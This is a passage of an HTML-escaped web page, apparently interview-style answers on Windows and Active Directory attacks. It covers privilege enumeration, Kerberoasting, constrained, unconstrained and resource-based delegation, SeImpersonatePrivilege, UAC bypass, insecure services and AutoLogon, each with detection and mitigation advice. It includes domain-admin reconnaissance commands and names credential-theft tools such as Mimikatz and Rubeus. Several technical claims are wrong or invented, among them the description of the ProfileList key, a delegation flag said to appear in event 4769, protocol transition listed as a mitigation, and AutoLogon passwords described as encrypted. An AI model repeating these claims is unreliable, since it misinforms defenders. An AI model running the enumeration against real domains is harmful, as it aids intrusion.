class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;Table&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AutoSize&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Net.exe command&lt;/strong&gt;: The Net.exe command can be used to view the privileges assigned to a user or group on a Windows domain. For example, the following command can be used to view the privileges assigned to the “Domain Admins” group:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;net group &lt;span class=&quot;s2&quot;&gt;&quot;Domain Admins&quot;&lt;/span&gt; /domain
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;PowerShell scripts&lt;/strong&gt;: PowerShell scripts can be used to enumerate privileges on Windows. For example, the following script can be used to retrieve a list of privileged users and groups on a local Windows machine:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LocalGroupMember&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Administrators&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Select&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PrincipalSource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ObjectClass&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Format&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;Table&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AutoSize&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Active Directory Users and Computers (ADUC)&lt;/strong&gt;: The ADUC tool can be used to view the properties of user accounts and groups in Active Directory, including their privileges. For example, the “Member Of” tab in the properties of a user account shows the groups that the user is a member of, including any privileged groups.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Windows Registry&lt;/strong&gt;: The Windows Registry can contain information about user accounts and groups, including their privileges. For example, the following registry key contains a list of local groups on a Windows machine:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;HKEY_LOCAL_MACHINE&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SOFTWARE&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Microsoft&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Windows&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NT&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CurrentVersion&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ProfileList&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Windows Event Logs&lt;/strong&gt;: Event logs can contain information about user and group activity on a Windows machine, including changes to privileges. For example, the “Security” event log can be used to monitor changes to local group membership or user account activity.&lt;/p&gt;

&lt;p&gt;Tools like BloodHound, PowerSploit, and Mimikatz: These tools can be used to enumerate and manipulate privileges on Windows domains and local machines. For example, BloodHound can be used to visualize the permissions and trust relationships in an Active Directory environment, while Mimikatz can be used to extract and manipulate credentials from memory.&lt;/p&gt;

&lt;p&gt;In terms of specific privileges, there are many different types of privileges that can be assigned to user accounts and groups on Windows, including:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Administrative privileges&lt;/strong&gt;: These privileges give users or groups full control over a Windows machine or a domain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Service privileges&lt;/strong&gt;: These privileges allow users or groups to control Windows services and perform actions like starting, stopping, and modifying services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security privileges&lt;/strong&gt;: These privileges control access to system resources, such as files, folders, and registry keys.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User rights&lt;/strong&gt;: These privileges control what actions a user can perform on a Windows machine or a domain, such as logging on locally, shutting down the system, or changing system time.&lt;/p&gt;

&lt;p&gt;The specific privileges that are available will vary depending on the version of Windows and the configuration of the system. It is important to carefully review and manage privileges in order to maintain the security of the system.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-explain-kerberoasting-how-to-detect-it-and-what-are-some-mitigation-techniques-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; Explain Kerberoasting, how to detect it, and what are some mitigation techniques? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Kerberoasting is an attack technique that targets the Kerberos authentication protocol used in Active Directory environments. It allows an attacker to obtain the hashed passwords of service accounts, which can be cracked offline using specialized tools.&lt;/p&gt;

&lt;p&gt;Here’s how Kerberoasting works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;The attacker identifies a service account that has a Service Principal Name (SPN) set. SPNs are used to identify services running on a network and are associated with a user account.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The attacker requests a Kerberos ticket for the service account from the domain controller. The Kerberos ticket is encrypted with the service account’s password hash.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The attacker uses a tool like Rubeus or GetUserSPNs to request the password hash for the service account’s user account from the domain controller.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The attacker can then use a password cracking tool like Hashcat to crack the password hash and obtain the service account’s password.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To detect Kerberoasting, it is important to monitor event logs on domain controllers for events related to Kerberos authentication. Specifically, events 4769, 4768, and 4771 can indicate Kerberoasting activity. These events show Kerberos ticket requests, service ticket requests, and failed Kerberos authentication attempts, respectively.&lt;/p&gt;

&lt;p&gt;To mitigate Kerberoasting, there are several best practices that can be implemented:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Implement strong password policies: Strong passwords make it more difficult for attackers to crack password hashes.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implement two-factor authentication: Two-factor authentication adds an additional layer of security by requiring a second factor, such as a token or biometric information, in addition to a password.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Limit exposure of service accounts: Service accounts should be limited to only the services that they are required for and should not be used for interactive logins or other unnecessary activities.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Monitor Kerberos activity: Monitoring Kerberos activity can help detect Kerberoasting attacks and other unauthorized access attempts.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Rotate service account passwords: Regularly rotating service account passwords makes it more difficult for attackers to crack password hashes over time.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Use managed service accounts: Managed service accounts (MSAs) are a type of service account that can be used to automatically generate strong, unique passwords that are rotated on a regular basis. MSAs can help mitigate Kerberoasting attacks by making it more difficult to obtain a password hash for a service account.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, Kerberoasting is a serious threat to Active Directory environments, but there are several steps that can be taken to detect and mitigate this attack technique. By implementing strong security measures and monitoring Kerberos activity, organizations can help protect against Kerberoasting and other types of cyber threats.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-why-to-look-for-service-accounts-in-domain-rather-than-machine-accounts-which-also-have-spns-set-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; why to look for service accounts in domain rather than machine accounts which also have SPNs set? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Service accounts and machine accounts both have Service Principal Names (SPNs) set, but they serve different purposes in an Active Directory environment.&lt;/p&gt;

&lt;p&gt;Service accounts are user accounts that are used to run services on a Windows machine or across a network. They are typically granted specific permissions and rights to perform their assigned tasks, and their credentials are often stored in a centralized location, such as Active Directory.&lt;/p&gt;

&lt;p&gt;Machine accounts, on the other hand, are used to authenticate and secure communications between a Windows machine and other machines or services on a network. They are used to authenticate the machine itself, rather than a specific user or service.&lt;/p&gt;

&lt;p&gt;While machine accounts may have SPNs set for certain network services or applications, they are not typically used for the same purposes as service accounts. Service accounts are often used for critical network services, such as domain controllers, web servers, or database servers, and are therefore more likely to be targeted by attackers.&lt;/p&gt;

&lt;p&gt;Additionally, service accounts may be granted higher levels of privileges and permissions than machine accounts, making them more valuable targets for attackers seeking to escalate their privileges or gain access to sensitive data.&lt;/p&gt;

&lt;p&gt;Overall, both service accounts and machine accounts can have SPNs set, but service accounts are generally a higher priority target for attackers due to their role in critical network services and their potentially higher level of access and permissions.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-why-to-look-for-service-accounts-in-domain-rather-than-user-accounts-which-also-have-spns-set-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; why to look for service accounts in domain rather than user accounts which also have SPNs set? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;User accounts may also have Service Principal Names (SPNs) set, but they are typically not used in the same way as service accounts.&lt;/p&gt;

&lt;p&gt;User accounts are used for interactive logons and are typically granted access to resources based on their group memberships and permissions. While some user accounts may have SPNs set for certain network services or applications, they are not typically used to run critical network services like service accounts are.&lt;/p&gt;

&lt;p&gt;Service accounts, on the other hand, are specifically designed to run network services and are often granted higher levels of privileges and permissions than user accounts. This makes them valuable targets for attackers seeking to gain access to sensitive data or escalate their privileges.&lt;/p&gt;

&lt;p&gt;Furthermore, service accounts often have credentials that are stored in a centralized location, such as Active Directory, which can make them a more attractive target for attackers. By compromising a service account, an attacker can potentially gain access to sensitive information or systems across the network.&lt;/p&gt;

&lt;p&gt;Overall, while some user accounts may have SPNs set, they are not typically used in the same way as service accounts and are therefore not as high of a priority target for attackers seeking to compromise a network. Focusing on identifying and securing service accounts is often a more effective strategy for mitigating the risks associated with SPN-related attacks in a domain.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-explain-constrained-delegation-how-to-detect-it-and-what-are-some-mitigation-techniques-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; Explain Constrained Delegation, how to detect it, and what are some mitigation techniques? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Constrained Delegation is a feature in Active Directory that allows a user or computer to delegate its authentication to a different service or computer. This feature is designed to simplify the process of accessing resources in a distributed environment by allowing users or services to authenticate to a remote resource without the need to send their credentials over the network.&lt;/p&gt;

&lt;p&gt;However, if Constrained Delegation is not configured properly, it can be exploited by attackers to gain access to sensitive resources. For example, an attacker could use Constrained Delegation to access resources that require elevated privileges or to impersonate a legitimate user to gain access to sensitive data.&lt;/p&gt;

&lt;p&gt;Here’s how Constrained Delegation works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;A user or computer sends an authentication request to a target service or computer.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The target service or computer receives the authentication request and checks to see if Constrained Delegation is configured.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If Constrained Delegation is configured, the target service or computer sends the authentication request to a delegated service or computer on behalf of the original user or computer.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The delegated service or computer receives the authentication request and verifies the user or computer’s credentials before granting access to the requested resource.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To detect Constrained Delegation, it is important to monitor event logs on domain controllers for events related to Kerberos authentication. Specifically, event 4769 can indicate Constrained Delegation activity. This event shows Kerberos ticket requests with the “Impersonation Level” set to “Impersonate” or “Delegate”.&lt;/p&gt;

&lt;p&gt;To mitigate Constrained Delegation attacks, there are several best practices that can be implemented:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Limit the use of Constrained Delegation&lt;/strong&gt;: Constrained Delegation should only be used when necessary and should be configured with the minimum required privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use protocol transition&lt;/strong&gt;: Protocol transition is a feature that allows a user or computer to switch from one authentication mechanism to another without losing their authentication context. This can be used to reduce the exposure of sensitive credentials when using Constrained Delegation.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Monitor for Constrained Delegation activity&lt;/strong&gt;: Monitoring event logs for Constrained Delegation activity can help detect unauthorized access attempts and potential attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Implement secure configurations&lt;/strong&gt;: Secure configurations, such as enforcing strong password policies and using two-factor authentication, can help prevent unauthorized access to sensitive resources.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, while Constrained Delegation can be a useful feature in Active Directory, it can also be a potential security risk if not configured properly. By implementing best practices and monitoring for suspicious activity, organizations can help mitigate the risks associated with Constrained Delegation.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-explain-unconstrained-delegation-how-to-detect-it-and-what-are-some-mitigation-techniques-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; Explain Unconstrained Delegation, how to detect it, and what are some mitigation techniques? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Unconstrained Delegation is a feature in Active Directory that allows a user or computer to delegate its authentication to any service or computer on the network. Unlike Constrained Delegation, which is limited to a specific set of services or computers, Unconstrained Delegation allows for broader access to network resources and can therefore be more easily exploited by attackers.&lt;/p&gt;

&lt;p&gt;Here’s how Unconstrained Delegation works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;A user or computer sends an authentication request to a target service or computer.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The target service or computer receives the authentication request and checks to see if Unconstrained Delegation is configured.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If Unconstrained Delegation is configured, the target service or computer sends the authentication request to any service or computer on the network on behalf of the original user or computer.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The delegated service or computer receives the authentication request and verifies the user or computer’s credentials before granting access to the requested resource.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To detect Unconstrained Delegation, it is important to monitor event logs on domain controllers for events related to Kerberos authentication. Specifically, event 4769 can indicate Unconstrained Delegation activity. This event shows Kerberos ticket requests with the “Impersonation Level” set to “Impersonate” or “Delegate”.&lt;/p&gt;

&lt;p&gt;To mitigate Unconstrained Delegation attacks, there are several best practices that can be implemented:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Disable Unconstrained Delegation&lt;/strong&gt;: Unconstrained Delegation should be disabled wherever possible to prevent unauthorized access to sensitive resources.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Use Constrained Delegation instead&lt;/strong&gt;: If delegation is necessary, use Constrained Delegation instead of Unconstrained Delegation. This allows for more granular control over access to network resources.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Monitor for Unconstrained Delegation activity&lt;/strong&gt;: Monitoring event logs for Unconstrained Delegation activity can help detect unauthorized access attempts and potential attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Implement secure configurations&lt;/strong&gt;: Secure configurations, such as enforcing strong password policies and using two-factor authentication, can help prevent unauthorized access to sensitive resources.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, Unconstrained Delegation can be a significant security risk in Active Directory environments, but there are several steps that can be taken to mitigate these risks. By disabling Unconstrained Delegation wherever possible, using Constrained Delegation when necessary, and monitoring for suspicious activity, organizations can help protect against Unconstrained Delegation attacks.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-explain-resource-based-constrained-delegation-how-to-detect-it-and-what-are-some-mitigation-techniques-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; Explain Resource-Based Constrained Delegation, how to detect it, and what are some mitigation techniques? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Resource-Based Constrained Delegation (RBCD) is a feature in Active Directory that allows a user or computer to delegate its authentication to a specific set of resources, rather than to any service or computer on the network. This feature provides a higher level of security than Unconstrained Delegation, as it limits the scope of access to network resources.&lt;/p&gt;

&lt;p&gt;Here’s how RBCD works:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;A user or computer sends an authentication request to a target service or computer.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The target service or computer receives the authentication request and checks to see if RBCD is configured.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;If RBCD is configured, the target service or computer sends the authentication request to a specific set of resources that have been authorized for RBCD on behalf of the original user or computer.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The delegated resource receives the authentication request and verifies the user or computer’s credentials before granting access to the requested resource.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To detect RBCD, it is important to monitor event logs on domain controllers for events related to Kerberos authentication. Specifically, event 4769 can indicate RBCD activity. This event shows Kerberos ticket requests with the “Impersonation Level” set to “Delegate” and the “Resource-Based Constrained Delegation” flag set to “True”.&lt;/p&gt;

&lt;p&gt;To mitigate RBCD attacks, there are several best practices that can be implemented:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Limit the use of RBCD&lt;/strong&gt;: RBCD should only be used when necessary and should be configured with the minimum required privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;T&lt;strong&gt;Monitor for RBCD activity&lt;/strong&gt;: Monitoring event logs for RBCD activity can help detect unauthorized access attempts and potential attacks.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Implement secure configurations&lt;/strong&gt;: Secure configurations, such as enforcing strong password policies and using two-factor authentication, can help prevent unauthorized access to sensitive resources.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Regularly review and update RBCD configurations&lt;/strong&gt;: Regularly reviewing and updating RBCD configurations can help ensure that access to network resources is properly controlled and limited.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, Resource-Based Constrained Delegation is a useful feature in Active Directory environments, but it must be configured properly and used with caution to prevent unauthorized access to sensitive resources. By implementing best practices and monitoring for suspicious activity, organizations can help mitigate the risks associated with RBCD.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-seimpersonateprivilege-and-how-can-it-be-used-for-privilege-escalation-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; What is SeImpersonatePrivilege, and how can it be used for privilege escalation? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;SeImpersonatePrivilege is a Windows security privilege that allows a user or process to impersonate another user or security context. This privilege is often used by system services and applications to access resources on behalf of other users or processes.&lt;/p&gt;

&lt;p&gt;However, if an attacker is able to obtain SeImpersonatePrivilege, they can use it to impersonate other users or processes and potentially escalate their privileges. For example, an attacker could use this privilege to access sensitive files, execute code with higher privileges, or impersonate other users to gain access to sensitive resources.&lt;/p&gt;

&lt;p&gt;There are several ways that SeImpersonatePrivilege can be obtained for privilege escalation:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Local Group Policy&lt;/strong&gt;: If an attacker is able to modify local Group Policy settings, they can enable SeImpersonatePrivilege for their own user account or for another user account that they control.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Exploiting vulnerabilities&lt;/strong&gt;: Certain vulnerabilities in Windows or third-party software can be exploited to gain SeImpersonatePrivilege.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Stealing credentials&lt;/strong&gt;: If an attacker is able to obtain valid credentials for a user or service that has SeImpersonatePrivilege, they can use these credentials to impersonate that user or service and escalate their privileges.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To mitigate the risks associated with SeImpersonatePrivilege, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Limiting the number of users or services that have SeImpersonatePrivilege.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Enabling auditing and monitoring of SeImpersonatePrivilege usage to detect suspicious activity.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing strong password policies and two-factor authentication to prevent credential theft.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly patching and updating Windows and third-party software to prevent exploitation of known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent attackers from using SeImpersonatePrivilege for privilege escalation and other malicious activities.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-does-user-account-control-uac-work-and-what-are-some-techniques-to-bypass-it-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; How does User Account Control (UAC) work, and what are some techniques to bypass it? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;User Account Control (UAC) is a security feature in Windows that helps prevent unauthorized changes to the system by prompting users for permission before allowing certain actions. When an application or process tries to perform a task that requires administrator privileges, UAC will prompt the user for permission to elevate the process to a higher privilege level.&lt;/p&gt;

&lt;p&gt;UAC works by assigning each user account two security tokens: a standard user token and an administrator token. By default, when a user logs in, they are assigned a standard user token. When an application or process requires administrative privileges, UAC prompts the user to provide credentials to elevate the process to a higher privilege level. If the user provides valid credentials, UAC creates a new security token for the user that includes the administrator privileges.&lt;/p&gt;

&lt;p&gt;To bypass UAC, attackers often use social engineering techniques to trick users into elevating privileges without realizing it. For example, an attacker might create a malicious application that appears to be legitimate and prompts the user to enter their credentials to perform a task. The user may not realize that they are granting administrative privileges to the application and inadvertently allow it to perform malicious actions.&lt;/p&gt;

&lt;p&gt;There are several techniques that can be used to bypass UAC:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;DLL hijacking&lt;/strong&gt;: Attackers can use DLL hijacking to inject malicious code into a legitimate application and bypass UAC by executing the application with administrative privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Fileless malware&lt;/strong&gt;: Fileless malware uses memory-based attacks to avoid detection by traditional antivirus software and can bypass UAC by executing directly in memory.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;PowerShell&lt;/strong&gt;: Attackers can use PowerShell scripts to bypass UAC by running scripts in memory or using techniques such as reflective DLL injection.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Exploiting vulnerabilities&lt;/strong&gt;: Certain vulnerabilities in Windows or third-party software can be exploited to bypass UAC and gain administrative privileges.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To mitigate the risks associated with UAC bypass, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Enabling UAC: UAC should be enabled on all Windows systems to help prevent unauthorized changes.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Limiting user privileges: Users should be assigned the minimum privileges necessary to perform their job functions.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing strong password policies and two-factor authentication to prevent credential theft.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly patching and updating Windows and third-party software to prevent exploitation of known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent attackers from bypassing UAC and gaining administrative privileges on Windows systems.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-insecure-services-in-windows-and-how-can-they-be-exploited-for-privilege-escalation-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; What are insecure services in Windows, and how can they be exploited for privilege escalation? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Insecure services in Windows are services that run with high privileges and can be exploited by attackers to gain elevated privileges or execute malicious code. These services are often configured with default or weak settings, which can be exploited by attackers to compromise the system.&lt;/p&gt;

&lt;p&gt;There are several types of insecure services in Windows, including:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Unquoted service paths&lt;/strong&gt;: Services that are configured with unquoted service paths can be exploited by attackers to execute arbitrary code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Services with weak permissions&lt;/strong&gt;: Services that are configured with weak file or registry permissions can be exploited by attackers to modify the service configuration and execute malicious code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Services with default credentials&lt;/strong&gt;: Services that are configured with default credentials can be exploited by attackers to gain access to sensitive resources and execute malicious code with elevated privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Services with known vulnerabilities&lt;/strong&gt;: Certain services may have known vulnerabilities that can be exploited by attackers to gain elevated privileges or execute malicious code.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To exploit insecure services for privilege escalation, attackers often use techniques such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Service abuse&lt;/strong&gt;: Attackers can abuse insecure services to execute arbitrary code with elevated privileges by modifying the service configuration or using DLL hijacking techniques.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Exploiting vulnerabilities&lt;/strong&gt;: Certain insecure services may have known vulnerabilities that can be exploited to gain elevated privileges or execute malicious code.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Service impersonation&lt;/strong&gt;: Attackers can use service impersonation techniques to execute malicious code with elevated privileges by impersonating a privileged service.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To mitigate the risks associated with insecure services in Windows, it is important to follow security best practices, such as:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Regularly auditing and reviewing service configurations for insecure settings.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Disabling or removing unnecessary services to reduce the attack surface.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Applying patches and updates to services to prevent exploitation of known vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Implementing strong password policies and two-factor authentication to prevent credential theft.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By implementing these best practices, organizations can help prevent attackers from exploiting insecure services for privilege escalation and other malicious activities.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-autologon-and-how-can-it-be-abused-for-privilege-escalation-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; What is AutoLogon, and how can it be abused for privilege escalation? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;AutoLogon is a feature in Windows that allows a user to automatically log in to a computer without having to enter a password. This feature is often used in environments where a single user has access to a computer or in kiosk-type scenarios.&lt;/p&gt;

&lt;p&gt;AutoLogon can be abused by attackers for privilege escalation by taking advantage of the fact that the password is stored in the registry in an encrypted format. Attackers can use various techniques to extract the password from the registry and use it to log in with elevated privileges.&lt;/p&gt;

